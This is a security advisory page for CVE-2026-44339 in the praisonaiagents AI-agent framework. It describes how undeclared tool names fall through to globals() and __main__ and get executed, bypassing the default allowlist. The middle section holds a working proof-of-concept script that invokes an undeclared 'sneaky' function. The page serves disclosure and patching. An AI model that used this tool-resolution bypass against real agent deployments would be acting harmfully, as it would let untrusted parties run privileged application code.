CVE-2026-44339 — praisonaiagents
HIGHCVE-2026-44339 is a high-severity (CVSS 8.6) CWE-470 vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.
PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44339.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44339 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
praisonaiagents🐍praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.
Details
The vulnerable resolution path is in [tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to globals() and then __main__:
func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
...
if func is None:
try:
from ..tools.registry import get_registry
registry = get_registry()
func = registry.get(function_name)
except ImportError:
pass
if func is None:
func = globals().get(function_name)
if not func:
import __main__
func = getattr(__main__, function_name, None)
If a callable is found, it is executed directly:
elif callable(func):
casted_arguments = self._cast_arguments(func, arguments)
return func(**casted_arguments)
The permission gate does not enforce a declared-tool allowlist by default. In [tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if _perm_allow is non-None:
if self._perm_deny and function_name in self._perm_deny:
return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True}
if self._perm_allow is not None and function_name not in self._perm_allow:
return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True}
Default agent initialization sets _perm_allow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):
self._perm_deny = frozenset() # Permission tier deny set (empty = no denials)
self._perm_allow = None # Permission tier allow set (None = allow all)
The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:
[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:56)asserts that a defaultAgenthas_perm_allow is None.test_permissions.pyexplicitly checks thatagent._check_tool_approval_sync("my_custom_tool", {})passes for an undeclared tool name.
Empirical verification:
I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in __main__, giving the agent an empty tools list, and invoking execute_tool() with that undeclared name. The tool executor ran the __main__ function anyway.
PoC
Environment
- Repo:
MervinPraison/PraisonAI - Commit:
d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026:
praisonaiagents1.6.35PraisonAI4.6.35
- Python 3
Steps
- From the repository root, run:
python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch
sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool_execution import ToolExecutionMixin
def sneaky(msg='ok'):
return {'ran': msg}
class HookRunner:
def execute_sync(self, *args, **kwargs):
return []
def is_blocked(self, results):
return False
class Dummy(ToolExecutionMixin):
def __init__(self):
self.name = 'demo'
self.tools = []
self.chat_history = []
self._hook_runner = HookRunner()
self.context_manager = None
self._doom_loop_tracker = None
self._perm_deny = frozenset()
self._perm_allow = None
self._approval_backend = None
mock_registry = MagicMock()
mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)
mock_registry.mark_approved = MagicMock()
with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):
agent = Dummy()
print(agent.execute_tool('sneaky', {'msg': 'hello'}))
print(mock_registry.approve_sync.call_args)
PY
Expected output
{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})
The important point is that sneaky was never declared in self.tools and was only present in __main__.
Impact
- Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools.
- Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to
globals()and__main__. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonaiagents | all versions | 1.6.37pip install --upgrade 'praisonaiagents==1.6.37' |
| 🐍PyPI | praisonai | all versions | 4.6.37pip install --upgrade 'praisonai==4.6.37' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonaiagents to 1.6.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44339 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44339 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44339. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44339 in your dependencies?
O3 Security finds CVE-2026-44339 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.